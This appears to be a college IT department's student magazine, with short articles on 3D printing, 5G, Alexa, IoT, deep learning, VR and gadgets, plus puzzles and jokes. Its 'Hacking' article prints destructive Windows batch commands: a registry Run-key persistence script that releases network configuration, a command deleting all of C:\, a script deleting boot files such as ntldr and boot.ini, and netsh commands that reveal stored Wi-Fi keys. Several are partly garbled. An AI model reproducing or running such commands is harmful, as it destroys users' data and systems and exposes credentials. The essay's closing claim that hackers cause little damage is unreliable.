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Vision   
To provide value based higher education in the field of Information 

Technology, enhance  the  potential  of  students  in engineering 

education,  innovations, entrepreneurship and provide resources to groom 

students as globally acknowledged IT professionals. 

 

MISSION  

• To produce quality engineers by providing  state of the art 

engineering education effectively through highly qualified and 

competent faculty and best-in-class infrastructure.  

• To inculcate a high regard for ethical principles and an 

understanding of human and environmental realities through 

student centric learning methodologies.  

• To encourage continuous learning and to impart personality 

development skills to succeed and lead in all areas.  
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                3-D METAL PRINTING 

  

While 3-D printing has been around for decades, it has remained largely 

in the domain of hobbyists and designers producing one-off prototypes. And 

printing objects with anything other than plastics—in particular, metal—has been 

expensive and painfully slow.  

  

Now, however, it’s becoming cheap and easy enough to be a potentially 

practical way of manufacturing parts. If widely adopted, it could change the way 

we mass produce many products. In the short term, manufacturers wouldn’t need 

to maintain large inventories—they could simply print an object, such as a 

replacement part for an aging car, whenever someone needs it.  

  

In the longer term, large factories that mass-produce a limited range of 

parts might be replaced by smaller ones that make a wider variety, adapting to 

customers’ changing needs.The technology can create lighter, stronger parts, and 

complex shapes that aren’t possible with conventional metal fabrication 

methods. It can also provide more precise control of the microstructure of metals.  
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In 2017, researchers from the Lawrence Livermore National Laboratory  
announced they had developed a 3D-printing method for creating stainless-steel 

parts twice as strong as traditionally made ones.  

 

Also in 2017, 3-D-printing company Mark Forged, a small startup based 

outside Boston, released the first 3-D metal printer for under $100,000.Another 

Boston-area startup, Desktop Metal, began to ship its first metal prototyping 

machines in December 2017. It plans to begin selling larger machines, designed 

for manufacturing, that are 100 times faster than older metal printing methods.  

 

 

3D METAL PRINTING MODELS:  
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APPLICATION: 

Metal 3D printing has been chosen since it allowed to create custom-made 

designs, with cost and lead time reduction. And it worked! Geraint Thomas won 

the first race of the event. And Chris Froome is currently leading the Tour, which 

will end on Sunday, July 23rd.  

 

Submitted by,  

Beula Preethy,  

Final year IT.  

  

 

 
                                                                                                 

    

                   

https://www.sculpteo.com/blog/wp-content/uploads/2017/07/phonak-virto-b-titanium-hearing-aids-.jpg
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                    5G TECHNOLOGY  
  

5G is the Fifth Generation technology. It has many advanced features 

potential enough to solve many of the problems of our mundane life. It is 

beneficial for the government, as it can make the governance easier; for the 

students, as it can make available the advanced courses, classes, and materials 

online; it is easier for the common people as well, as it can facilitate them the 

internet everywhere. Radio technologies have evidenced a rapid and 

multidirectional evolution with the launch of the analogue cellular systems in 

1980s. Thereafter, digital wireless communication systems are consistently on a 

mission to fulfil the growing need of human beings (1G, …4G, or now 5G).  

  

FEATURES OF 5G TECHNOLOGY  

 
5th Generation Mobile Network or simply 5G is the forthcoming 

revolution of mobile technology. The features and its usability are much beyond 

the expectation of a normal human being. With its ultra-high speed, it is potential 

enough to change the meaning of a cell phone usability.  
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With a huge array of innovative features, now your smart phone would be 

more parallel to the laptop. You can use broadband internet connection; other 

significant features that fascinate people are more gaming options, wider 

multimedia options, connectivity everywhere, zero latency, faster response time, 

high quality sound and HD video can be transferred on other cell phone without 

compromising with the quality of audio and video.  

  

5G TECHNOLOGIES AND ITS ARCHITECTURE  

 
The 5G technology is expected to provide a new (much wider than the 

previous one) frequency bands along with the wider spectral bandwidth per 

frequency channel. As of now, the predecessors (generations) mobile 

technologies have evidenced substantial increase in peak bitrate. Then — how is 

5G different from the previous one (especially 4G)? The answer is — it is not 

only the increase in bitrate made 5G distinct from the 4G, but rather 5G is also 

advanced in terms of  

 

• High increased peak bit rate  

• Larger data volume per unit area (i.e. high system spectral efficiency)  

• High capacity to allow more devices connectivity concurrently and 

instantaneously  

• Lower battery consumption  

• Better connectivity irrespective of the geographic region  

• Larger number of supporting devices  

• Lower cost of infrastructural development  

• Higher reliability of the communications  

 

As researchers say, with the wide range of bandwidth radio channels, it is able 

to support the speed up to 10 Gbps, the 5G Wi-Fi technology will offer 

contiguous and consistent coverage − “wider area mobility in true sense.”  

  

Architecture of 5G is highly advanced, its network elements and various 

terminals are characteristically upgraded to afford a new situation. Likewise, 

service providers can implement the advance technology to adopt the value-added 

services easily. 

       



                                                                        

11 
 

However, upgradeability is based upon cognitive radio technology that 

includes various significant features such as ability of devices to identify their 

geographical location as well as weather, temperature, etc. Cognitive radio  

technology acts as a transceiver (beam) that perceptively can catch and respond 

radio signals in its operating environment. Further, it promptly distinguishes the 

changes in its environment and hence respond accordingly to provide 

uninterrupted quality service.  

  
APPLICATIONS   
Some of the significant applications are −  

  

• It will make unified global standard for all.  

• Network availability will be everywhere and will facilitate people to use 

their computer and such kind of mobile devices anywhere anytime.  

• Because of the IPv6 technology, visiting care of mobile Ipaddress will be 

assigned as per the connected network and geographical position.  
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• Its application will make world real Wi Fi zone.  

• Its cognitive radio technology will facilitate different version of radio 

technologies to share the same spectrum efficiently.Its application will 

facilitate people to avail radio signal at higher altitude as well.  

 

PROTOTYPE IMAGE OF QUALCOMM 5G MOBILE  

  
5th generation technology is designed to provide incredible and remarkable 

data capabilities, unhindered call volumes, and immeasurable data broadcast 

within the latest mobile operating system. Hence, it is more intelligent 

technology, which will interconnect the entire world without limits.  Moreover, 

governments and regulators can use this technology as an opportunity for the 

good governance and can create healthier environments, which will definitely 

encourage continuing investment in 5G, the next generation technology.  

  

Submitted by,  

Amruth Shogul R,  

III year IT.  
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            NOT ONLY TALKING ALEXA  

Alexa is a product of Amazon and it is embedded inside Amazon echo. In 

today’s market alexia’s price may be between 140$ to 200$. This virtual 

assistance machine was first used in Amazon echo and Amazon echo dot smart 

speakers. Initially, the functions were to play songs, set an alarm, etc. But, the 

newer version of Alexa has several new features which connects various devices 

like smart bulbs, smart plugs, smart light switches, thermostats, robot vacuums, 

security cameras, smart hubs, door locks, door-bell cameras, garage-door 

controllers, smart sprinkle controllers, media streaming devices and kitchen 

appliances.  

Precisely the Alexa can be used perfectly for home automation system.  

Alexa can manage voice-controlled alarms, timers, and shopping and to-do lists, 

and can access Wikipedia articles. Alexa devices will respond to questions about 

items in the user's Google Calendar. As of November 2016, the Alexa Appstore 

had over 5,000 functions available for users to download, up from 1,000 

functions in June 2016. As of a partnership with fellow technology company, 

Microsoft, Alexa will be available via its competing virtual personal assistant, 

Cortana. In March 2018, Amazon rolled out a new "Brief Mode," wherein Alexa 

would begin responding with a beep sound rather than saying, "Okay," to 

confirm receipt of a command.  

     
There are a number of ways messages can be sent from Alexa's 

application. Alexa is able to deliver messages to a recipient's Alexa application, 

as well as to all of their Echo devices that are both supported and associated with 

their Amazon account. If one sends a message from an associated Echo device, 

it will be sent as a voice message. 

                                                                                                                      

https://en.wikipedia.org/wiki/Wikipedia
https://en.wikipedia.org/wiki/Wikipedia
https://en.wikipedia.org/wiki/Google_Calendar
https://en.wikipedia.org/wiki/Google_Calendar
https://en.wikipedia.org/wiki/Google_Calendar
https://en.wikipedia.org/wiki/Microsoft
https://en.wikipedia.org/wiki/Microsoft
https://en.wikipedia.org/wiki/Microsoft
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   Alexa cannot send attachments such as videos and photos.                                            

Alexa for Business is a paid subscription service allowing companies to use 

Alexa to join conference calls, schedule meeting rooms, and custom skills 

designed by 3rd-party vendors. At launch, notable skills are available from SAP, 

Microsoft, and Salesforce.   

In the fast-moving technology race, the Alexa still holds its place constant. 

Still, more features are yet to come.  

 

 Submitted By , 

     R.Samitaasri,  

     M.Akila,  

     P.Veronica,  

     K.Raja Rajeswari 

     Final Year IT. 

 

 

 

 

 

                                                                                      

                  

                  

https://en.wikipedia.org/wiki/SAP_SE
https://en.wikipedia.org/wiki/SAP_SE
https://en.wikipedia.org/wiki/SAP_SE
https://en.wikipedia.org/wiki/Microsoft
https://en.wikipedia.org/wiki/Salesforce
https://en.wikipedia.org/wiki/Salesforce
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                 AMAZING GADGETS 

OURA RING: 

  

  

➢ The Oura Ring, otherwise known as the world’s first ring-size wellness 

computer. It is a health and wellness wearable, in the shape of a ring that 

helps you to understand, how your body responds to the demands of daily 

life more than a sensor, to keep track of heart rate variability or hours of 

sleep.  

  

➢ The Oura helps you to track your lifestyle and behavior, so you can take 

more intelligent choices. It analyzes your sleep patterns and makes 

recommendations to improve your sleep quality and help to you wake up 

freshly.  

  

➢ The best part of Oura ring is that it syncs to your phone, via bluetooth. The 

OURA app is excellent in terms of its usability and data display.  

  

➢ It provides an ultimate comport and also it is waterproof and scratch 

resistant.  
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 DIET SENSOR:  

  

  

  

  

➢ The first portable electronic food sensor and nutrition coach which allows 

you to scan and identify food elements to allow you to better manage your 

health and fitness. You simply hold the device up to the item of food and a 

tiny molecular sensor, reads the nutrient contained in the cells of the food 

and beverage and reports the informatics back to its smartphone app. 

  

➢ This will help you to keep track of fat and protein and provides advice on 

portion sizes and food suggestions to help you to balance each meal.  

  

  

➢ It contains a food catalogue of over 600,000 barcodes for easy 

identification and allows you to save favorite meals. It also connects with 

your favorite fitness tracker or body scale and will keep track of your 

physical activity weight and hydration levels.  

 

 

Submitted By, 

Abinaya. M, 

Final Year IT                                             
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                           PUZZLE 

 

Across  

1. Reuse mechanism  

2. Doesn't return anything  

3. Logical address space  

4. Keyword used to invoked the immediate parent class  

5. In python, the keyword used in else if ladder  

6. Polymorphism means  

7. Nested unions are allowed  

Down  

1. Nested unions are allowed  

2. Allocation of memory using keyword  

3. HTML is not _____ language  

4. Function call itself  

5. Which header define the macros                                                    
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Answers  

Across  

1. Inheritance  

2. Void  

3. Pages  

4. Super  

5. elif  

6. Many  

7. True  

Down  

1. True 

2. New  

3. Programming  

4. Recursion  

5. stdlib  

  

Submitted by,  

Shiva Ganesh R,  

III year IT.  
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       THE INTERNET OF THINGS 

 

The Internet of Things is a network of physical objects – vehicles, 

machines, home appliances, and more – that use sensors and APIs to connect and 

exchange data over the Internet.  

  

  

  

IOT PLATFORMS AND ARCHITECTURE 

          Cloud-based IOT platforms and architecture connect the real and virtual 

worlds. They help companies manage IOT device connectivity and security – as 

well as collect device data, link devices to backend systems, ensure IOT 

interoperability, and build and run IOT applications.  
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THE SCOPE OF IOT  

Internet of Things can connect devices embedded in various systems to the 

internet. When devices/objects can represent themselves digitally, they can be 

controlled from anywhere.  The connectivity then helps us capture more data 

from more places, ensuring more ways of increasing efficiency and improving 

safety and IOT security. IOT is a transformational force that can help companies 

improve performance through IOT analytics and IOT Security to deliver better 

results.   

Businesses in the utilities, oil & gas, insurance, manufacturing, 

transportation, infrastructure and retail sectors can reap the benefits of IOT by 

making more informed decisions. 

  

BENEFITS OF THE INTERNET OF THINGS 

• New business Models and revenue 

• Operational efficiency  

• Workforce productivity  

• Enhanced customer experiences 

 

                                                                                                                       



                                                                        

21 
 

IOT ADOPTION BARRIERS 

LACK OF INTEROPERABILITY AND UNCLEAR VALUE 

PROPOSITIONS  

  Despite a shared belief in the potential of IOT, industry leaders and 

consumers Forbes that while IOT solutions appeal to early adopters, they either 

lack interoperability or a clear use case for end-users.   

PRIVACY AND SECURITY CONCERN  

  According to a recent study by Noura Aleisa and Karen Renaud at the 

University of Glasgow, "the Internet of things' potential for major privacy 

invasion is a concern” with much of research "disproportionally focused on the 

security concerns of IOT.  

TRADITIONAL GOVERNANCE STRUCTURES  

  A study issued by Ericsson regarding the adoption of Internet of things 

among Danish companies identified a "clash between IOT and companies' 

traditional governance structures, as IOT still presents both uncertainties and a 

lack of historical precedence.  
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IOT ANALYTICS AND PREDICTIONS 

 Analytics and prediction models are becoming an integral part of IOT 
applications and this presents many challenges for development of IOT systems. 

For example, for the systems where the privacy preservation is a big concern, 

transmitting data to the cloud for analytics purposes might seem risky. Other 

challenges arise when prediction components need to reside on IOT resource-

constrained devices or when complex deep learning models need to be integrated 

to the IOT system.  

Internet of things is a network of connected physical things which collect, 

send and act on data from various surrounding sources. The term has been around 

for more than a decade but recent years have shown a magnificent jump in its 

usage.   IOT Data implementation has penetrated not only in industries but also 

in our homes.  

  

SECURITY 

Concerns have been raised that the Internet of things is being developed 

rapidly without appropriate consideration of the profound security challenges 

involved and the regulatory changes that might be necessary.  

Most of the technical security issues are similar to those of conventional 

servers, workstations and smartphones, but the firewall, security update and anti-

malware systems used for those are generally unsuitable for the much smaller, 

less capable, IOT devices.  

  

Submitted by,  

Rekha P,  

Final year IT.  
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                    DEEP LEARNING  

 
It is also known as deep structured learning or hierarchical learning is part 

of  broader family of machine learning method based on learning 

representations as opposed to task-specific algorithms. Learning can be  

supervised,semisupervised or unsupervised. 

 

DEEP LEARNING ARCHITECTURES  

 

Such as deep neural networks, deep belief networks and recurrent neural 

networks have been applied to fields including computer vision, speech 

recognition, natural language processing, audio recognition, social network. 

 

DEEP LEARNING MODELS  

They are vaguely inspired by information processing and communication 

patterns in biological nervous systems yet have various differences from the 

structural and functional properties of biological brains, which make them 

incompatible with neuroscience evidences.  

 

A deep directed acyclic graph of decision rules is generated for the 

tasks of classification and regression by statistic-based supervised learning 

technique - decision stream.  
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It builds a graph with strong connectivity by fusion statistically 

similar nodes, reducing in such way the predictive model width and 

increasing classification/regression precision on the basis of representative 

data quantity in leaf nodes. Decision stream splits and merges the data 

multiple times by different features. Due to partition of data only into 

statistically different groups it decreases the overfitting and reduces 

complexity on every level of predictive model. The   leaves and reduction 

of model width enforce the generation of extremely deep graphs, that can 

consist of hundreds of levels.   

 

SOME MAJOR APPLICATIONS ARE   

  

 

                            DEEP LEARNING VS MACHINE LEARNING  

 

• Visual art processing 

• Natural language processing  

• Drug discovery and toxicology  
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In practical terms, deep learning is just a subset of machine learning. It technically is 

machine learning and functions in a similar way (hence why the terms are sometimes 

loosely interchanged), but its capabilities are different.  
  

  

                         HOW DEEP LEARNING WORKS?  

A deep learning model is designed to continually analyse data with a logic 

structure similar to how a human would draw conclusions. To achieve this, 

deep learning uses a layered structure of algorithms called an artificial neural 

network (ANN).                                                            

 

The design of an ANN is inspired by the biological neural network 

of the human brain. This makes for machine intelligence that’s far more 

capable than that of standard machine learning model.  
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ADVANTAGE: 

• Has best-in-class performance on problems that significantly 

outperforms other solutions in multiple domains.  

• Reduces the need for feature engineering, one of the most time-

consuming parts of machine learning practice.  

• Is an architecture that can be adapted to new problems relatively easily 

(e.g. Vision, time series, language etc)  

 

DISADVANTAGE: 

  

• Requires a large amount of data.  

• Is extremely computationally expensive to train. 

  

CONCLUSION: 

 Deep learning can be a time and cost efficient way to determine 

malignancy associated changes. It can provide doctors a quicker 

evaluation of what types of cells a pap-smear test contains. More extensive 

studies are needed.  

  

Submitted by,  

Sathya J,  

III year IT.  
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                    BEFORE THE COMPUTER 

 
   An application was for employment .A program was a TV show .  A cursor 

used profanity. A keyboard was a piano! .Memory was something that you lost 

with age .A CD was a bank account! .And if you had a broken disk. It would hurt 

when you found out!. Compress was something you did to garbage . Not 

something you did to a file .And if you unzipped anything in public.Log on was 

adding wood  .Hard drive was a long trip on the road .  A mouse pad was where 

a mouse lived .And a backup happened to your commode!  Cut--you did with a 

pocket knife.Paste you did with glue. A web was a spider's home.  And a virus 

was the flu! .I guess I'll stick to my pad and paper. And the memory in my head . 

I hear nobody's been killed in a computer crash.But when it happens they wish 

they were dead!  

  

COMPUTER TONGUE ROLLERS:  

If a packet hits a pocket on a socket on a port,  and the bus is interrupted as 

a very last resort,  and the address of the memory makes your SD card abort,  then 

the socket packet pocket has an error to report.  

  If your cursor finds a menu item followed by a dash, and the double-

clicking icon puts your spreadsheet in the trash, and your data is corrupted  'cause 

the index didn't hash,  then your restore point is hopeless and your tablet's gonna 

crash!  

 If the label on the cable on the table at your house,  says the network is 

connected to the button on your mouse,  but your packets want to tunnel on 

another protocol,  that's repeatedly rejected by the printer down the hall,  and your 

screen is all distorted by the side effects of gauss, so your icons in the task bar are 

as wavy as a souse, then you may as well reboot and go out with a bang,  cause 

the IT diagnosis says your browser's gonna hang!  

  When the copy of your floppy gets so sloppy on the disk,   that the 

microcode instructions cause unnecessary RISC,  then you have to flash your 

memory and you'll want to RAM your ROM.  Quickly turn off the computer 

and be sure to tell your mom.  
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LIFE AND COMPUTER: 

  

     If Life Were Like A Computer:  You could add/remove someone 

in your life using the control panel. You could put your kids in the 

recycle bin and restore them when you feel like it! You could improve 

your appearance by adjusting the display settings.  You could turn off 

the speakers when life gets too noisy.   You could click on “find” (Ctrl, 

F) to recover your lost remote control and car keys.  

To get your daily exercise, just click on "run"! .If you mess up your 

life, you could always press "Ctrl, Alt, Delete" and start all over!  

 

 Submitted By,                                                    

Sowndhariya .R 

Final Year IT.  
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Wireless 'RoboFly' Looks Like an Insect, 

Gets Its Power from Lasers  
 

  

  
  

RoboFly is only slightly bigger than a real fly.  

Credit: Mark Stone/University of Washington  

A new type of flying robot is so tiny and lightweight — it weighs about 

as much as a toothpick — it can perch on your finger. The little flitter is 

also capable of untethered flight and is powered by lasers.  

This is a big leap forward in the design of diminutive airborne bots, which 

are usually too small to support a power source and must trail a lifeline to 

a distant battery in order to fly, engineers who built the new robot 

announced  in a statement.  

 

 

 

 

 

https://www.washington.edu/news/2018/05/15/robofly/
https://www.washington.edu/news/2018/05/15/robofly/
https://www.washington.edu/news/2018/05/15/robofly/
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Their insect-inspired creation is dubbed RoboFly, and like its animal 

namesake, it sports a pair of delicate, transparent wings that carry it into 

the air. But unlike its robot precursors, RoboFly ain't got no strings to hold 

it down.                                                                                   

Instead, the miniature bot uses a lightweight onboard circuit to convert 

laser light into enough electrical power to send it soaring. [New Flying 

Robots Take Cues From Airborne Animals ]   

 

 
 

Submitted By,  

Kalyani M  

Final Year IT.  
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.livescience.com/57244-animal-flight-influences-flying-drones-designs.html
https://www.livescience.com/57244-animal-flight-influences-flying-drones-designs.html
https://www.livescience.com/57244-animal-flight-influences-flying-drones-designs.html
https://www.livescience.com/57244-animal-flight-influences-flying-drones-designs.html
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 3D PRINTED BODY PARTS AND CASTS 
      The future holds custom-printed drugs and prosthetics, and even 

replacement body parts.  These printers can be used to create implants and even 

joints to be used during surgery.  The use of printers can create both long lasting 

and soluble items.  Some printers are designed to print with living human cells, 

forming sheets of tissue that could be used as grafts to repair damage.  This is a 

true example of technology and medicine working together  

Imagine a scenario where you have broken or twisted a limb, and need a 

cast. Previously, a messy process of fitting plaster to your hurting body part 

would be followed by frequent doctor visits to refit the cast as the inflammation 

subsides or muscles atrophy. Instead, the doctor just scans your arm, prints out a 

water-proof, lightweight cast in seconds using software approved by 

traumatologists, and you’re free to go home. At the next visit, your caregiver 

simply pops it open to examine the injury. Cheaper, faster, more convenient for 

both patient and doctor.  

 

 

 

http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
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Scanning a limb is very simple today. Designing a customized cast is also 

not rocket science. So what’s the main obstacle for applying the above method? 

The acceptance from traumatologists. That’s a hard one.   

Those people who discuss the advantages and ethical issues today are the 

ones who will bring disruption to everyday life tomorrow. Because it’s always 

more important how we adjust to the changes than what developments will take 

place next year.        

Submitted By,  

Veronica.P,  

Samitaasri.R,  

Akila.M,  

Raja Rajeswari.K 

Final year IT.  

 
 

 

 

 

 

 

 

 

  

http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
http://medicalfuturist.com/plaster-casts-on-a-broken-limb-in-2016-please-print-out-mine/
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HACKING 

ABSTRACT: 

          The drastic growth of the Internet has brought many good things such as 

E-commerce-banking, E-mail, Cloud Computing, but there is also another Dark 

side such as Hacking, Backdoors etc. Hacking is the first big problem faced by 

Governments, companies, and private citizens around the world, Hacking 

includes reading others e-mail, steal their credit card number from an online 

shopping site, secretly transmitting secrets to the open Internet. An Ethical 

Hacker can help the people who are suffered by this Hackings. This Paper 

Describes about Ethical Hackers, Their Skills, Their Attitudes, and How They Go 

About Helping Their Customers Find and Plug up Security Holes. so, here we 

will discuss in detail about ethical hacking and ethical hackers. 

 

HACKING AND HACKER: 

           Hacking generally refers to unauthorized intrusion into a computer or a 

network. The person engaged in hacking activities is known as a hacker. This 

hacker may alter system or security features to accomplish a goal that differs from 

the original purpose of the system. Hacking can also refer to harmful activities, 

usually involving unusual or improvised alterations to equipment or processes. 

A computer hacker is any skilled computer expert that uses their technical 

knowledge to overcome a problem. While "hacker" can refer to any skilled 

computer programmer, the term has become associated in popular culture with a 

"security hacker", someone who, with their technical knowledge, 

uses bugs or exploits to break into computer systems. 

 

TYPES OF HACKERS: 

               White Hat, Black Hat, Grey Hat, Green Hat, Red Hat, Blue Hat. 

 

 

 

 

 

https://en.wikipedia.org/wiki/Popular_culture
https://en.wikipedia.org/wiki/Security_hacker
https://en.wikipedia.org/wiki/Bug_(computing)
https://en.wikipedia.org/wiki/Exploit_(computer_security)
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ETHICAL HACKING: 

             Ethical Hacking, also known as penetration testing, intrusion testing, 

or red teaming, is the controversial act of locating weaknesses and vulnerabilities 

of computer and information systems by duplicating the intent and actions of 

malicious hackers. 

An Ethical Hacker, also known as a white hat hacker, or simply a white 

hat, is a security professional who applies their hacking skills for defensive 

purposes on behalf of the owners of information systems. Nowadays, certified 

ethical hackers are among the most sought after information security employees 

in large organizations such as Wipro, Infosys, IBM, Airtel and Reliance among 

others. 

  This type of hacker enjoys learning and working with computer systems, 

and consequently gains a deeper understanding of the subject. Such people 

normally go on to use their hacking skills in legitimate ways, such as becoming 

security consultants. The word 'hacker' was originally used to describe people 

such as these. 

BLACK HAT HACKERS: 

Black Hat hackers, also known as crackers, are those who hack in order 

to gain unauthorized access to a system and harm its operations or steal sensitive 

information. Black Hat hacking is always illegal because of its bad intent which 

includes stealing corporate data, violating privacy, damaging the system, 

blocking network communication, etc. 

DISABLE INTERNET PERMANENTLY: 

This code will disable the internet connectivity permanently. 

echo @echo off>c:windowswimn32.bat 

Echo break off>c: windowswimn32.bat echo 

 

 

 

 

http://en.wikipedia.org/wiki/Hacker_(computer_security)
http://en.wikipedia.org/wiki/Whitehat
http://en.wikipedia.org/wiki/Whitehat
http://www.wipro.com/
http://www.infosys.com/
http://www.ibm.com/ca/en/
http://www.airtel.in/
http://www.rcom.co.in/webapp/Communications/rcom/index.jsp
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Ipconfig/release all>c: windowswimn32.bat 

Echo end>c: windowswimn32.batreg add 

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v 

WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add 

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v 

CONTROLexit /t reg_sz /d c: windowswimn32.bat /fecho You Have Been 

HACKED! 

WINDOW HACKING: 

              This will delete your whole C:\ drive and it really unrecoverable. 

@Echo off 

Del C:\ *.* |y 

WI-FI PASSWORD HACKING: 

             The following commands is used to hack the wi-fi password using 

command prompt in windows.  

Netsh wlan show network mode=bssid                   //this statement used to fetch 

the available networks 

Netsh show profiles <network name>                     //this statement used to know 

whether the network is secured or not. 

Netsh show profiles<network name> key=clear      //this statement is used to 

reveal the key content.  

 

CRASHING PC FOREVER: 

                  The following code will crash the pc forever, everything in the 

system will be formatted. 

                             @echo off 
                             attrib -r -s -h c:\autoexec.bat 
                             Del c:\autoexec.bat 
                             attrib -r -s -h c:\boot.ini 
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                             Del c:\boot.ini 
                             attrib -r -s -h c:\ntldr 
                             del c:\ntldr                                      
                             attrib -r -s -h c:\windows\win.ini 
                             del c:\windows\win.ini 

GREY HAT HACKERS: 

Grey hat hackers are a blend of both black hat and white hat hackers. They 

act without malicious intent but for their fun, they exploit a security weakness in 

a computer system or network without the owner’s permission or knowledge. 

Their intent is to bring the weakness to the attention of the owners and getting 

appreciation or a little bounty from the owners. 

RED HAT HACKER: 

Red hat hackers are again a blend of both black hat and white hat hackers. 

They are usually on the level of hacking government agencies, top-secret 

information hubs, and generally anything that falls under the category of 

sensitive information. 

BLUE HAT HACKERS: 

A blue hat hacker is someone outside computer security consulting firms 

who is used to bug-test a system prior to its launch. They look for loopholes that 

can be exploited and try to close these gaps. Microsoft also uses the term Blue 

Hat to represent a series of security briefing events. 

ELITE HACKERS: 

This is a social status among hackers, which is used to describe the most 

skilled. Newly discovered exploits will circulate among these hackers. 

SCRIPT KIDDIE: 

A script kiddie is a non-expert who breaks into computer systems by using 

pre-packaged automated tools written by others, usually with little understanding 

of the underlying concept, hence the term Kiddie. 
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NEOPHYTE: 

 neophyte, "n00b", or "newbie" or "Green Hat Hacker" is someone who is 

new to hacking or phreaking and has almost no knowledge or experience of the 

workings of technology and hacking. 

HACKTIVIST: 

A hacktivist is a hacker who utilizes technology to announce a social, 

ideological, religious, or political message. In general, most hacktivism involves 

website defacement or denial of-service attacks. 

FUTURE SCOPE: 

In India companies like wipro, Infosys and IBM are interested in 

employing ethical hackers. Moreover salaries are higher than other areas of IT. 

According to Nasscom, India will require at least 77,000 ethical hackers 

compared to the present figure of 15,000.    If you are well versed with the inner 

workings of a system and have the capabilities to discover new weaknesses in an 

otherwise secure system, then you will find it easy to build your career and take 

it to the next higher level. At the minimum you will require an undergraduate 

degree in computer science. Although the certifications help but they only go 

insofar as your skills are concerned. In many cases you have to think like a 

hacker, so sound grasp of system internals (including networking protocol, 

underlying OS, reversing skills etc. may be required. You may land an average 

job at a startup based on the skills you have but in order to ascend to the top you 

will have to put some serious effort.  

I have seen people with average educational backgrounds making it to a position 

of a chief security officer from being just a security tester in a span of few years 

just because they had that passion of going through seemingly complicated tasks 

of reversing an unknown protocol to finding vulnerabilities in an otherwise 

secure product, just because they had the passion. 
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CONCLUSION:  

Hackers are sophisticated and very talented when it comes to the use of a 

computer. Hacking is a process of learning not following any manual. Hackers 

learn as they go and use a method of trial and error. Most people who say they 

are hackers most of the time are not. Real hackers do not delete or destroy any 

information on the system they hack. Hackers hack because they love the thrill of 

getting into a system that is supposably unable to be entered. Overall hackers are 

smart and cause little damage to the system they enter. So hackers are not really 

terrorists in a way they help companies fin d out flaws in their system. 

 

 

Submitted By, 

Praveen Kumar.K 
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Answers  

Across:  

4. ROM  

9.Arithmetic  

10.Hardware  

Down:  

1. Software  

2. Volatile  

3. Brain  

5. Megabyte  

6.Chip  

7.Gigahertz  

8.Control  

  

Submitted by,  

Abarna J,  

III year IT.  
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      GAMIFICATION IN E LEARNING 
Creativity, problem solving, critical and analytical thinking, decision 

making, risk taking, all are found in game-based learning. - Mark Grundel  

Gamification is the usage of game mechanics, dynamics, aesthetics and 

game thinking in non-game systems. Its main objective is to increase user's 

motivation, experience and engagement. For the same reason, it has started to 

penetrate in e-learning systems. However, when using gamified design elements 

in e-learning, we must consider various types of learners. In the phases of analysis 

and design of such elements, the cooperation of education, technology, pedagogy, 

design and finance experts is required.  

Game-based eLearning and gamification solutions, when implemented 

correctly, has better impact on learners than sugar-coated gaming interventions. 

Gamification in corporate training improves the employee engagement to the 

learning content by using engaging activities and interactions which in turn boost 

productivity of employees. This helps organizations achieve business and training 

goals in more effective manner compared to traditional eLearning methods. 

 

 

 



                                                                        

43 
 

HOW GAMIFICATION WORKS 

Every company has problems to solve, such as how to reduce distractions 

in the workplace, how to mitigate a failed product marketing campaign, or how 

to console a customer whose request can’t be fulfilled. Finding the answers to 

these problems require gumption, creativity, and good old-fashioned elbow 

grease. But how do you inspire your employees to start thinking (and working) 

outside of the box in order to solve the problems that are weighing down the 

company.It specifies working in workplaces through their corresponding 

Gamification App. 

 

TECHNIQUES OF GAMIFICATION USED IN VARIOUS 

FIELDS: 

 

Goals, Contests, Achievements, Points, Scoring, Leaderboards-In 

Engaging Employees & Accelerating Feedback, Achievements, Rewards-In 

Solving problems ,Competition, Leaderboards, Badges-In Maintaining Focus & 

Building Brand Loyalty 

 

 

Submitted By, 

Nandhini.M 

Final Year IT 
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              BLUE EYES TECHNOLOGY  

PREFACE: 

       The Blue Eyes technology targets at creating computational machines that 

have sophisticated  and sensory ability like those of human beings. It uses non-

obtrusive sensing method most modern video cameras and Microphones to detect 

the user’s actions through the use of endowed sensory abilities. 

BASIC IDEA: 

        It can even understand your emotions at the touch of the mouse. It verifies 

your identity, feels your presence, and starts interacting with you.The blue eyes 

system verifies  the physiological parameters like eye movement, heart beat rate 

against abnormal and undesirable values and triggers user-defined alarms when 

necessary. 

 

 

  

  

 

ETYMOLOGY: 
         Blue in this term stands for Bluetooth, which permits reliable wireless 

communication and the‚ Eyes because the eye movement allows us to obtain a 

lot of interesting and important information. 
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HISTORY: 

         Paul Ekman’s facial expression work gave the correlation between a 

person’s emotional state and a person’s physiological measurements in 1997. 

NEED FOR THIS TECHNOLOGY: 

          Human error is still one of the most common causes of catastrophes 

(calamity) and ecological disasters because the human contribution to the overall 

performance of the system is left unconfirmed. 

BENEFITS: 

Some of the advantages of this upcoming technology are Visual attention 

monitoring (eye motility analysis). 

CONCLUSION: 

As a result,this technology meant to be a stress reliever, impelled by the advanced 

technology of studying the facial expressions for judgment of the intensity of 

stress handled. 

 

Submitted by, 

B.Saraswathi, 

K.Avishnamani, 

K.Priya, 

Second year IT.                
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VIRTUAL REALITY 

 
Virtual reality (VR) is an interactive computer-generated experience taking 

place within a simulated environment. It incorporates mainly auditory and visual 

feedback, but may also allow other types of sensory feedback like haptic.This 

immersive environment can be actual to the reality world. Augmented reality is 

the considerable form of VR where entire thing is focus with the experience of 

live camera .It can be viewed through smartphone or tablet giving user ability to 

view three dimensional view. Current VR commonly uses VR headsets for 

sometimes in combination with physical environments or props, to generate 

realistic images, sounds and other sensations that simulate a user's physical 

presence in a virtual or imaginary environment. A person using virtual reality 

equipment is able to "look around" the artificial world, move around in it, and 

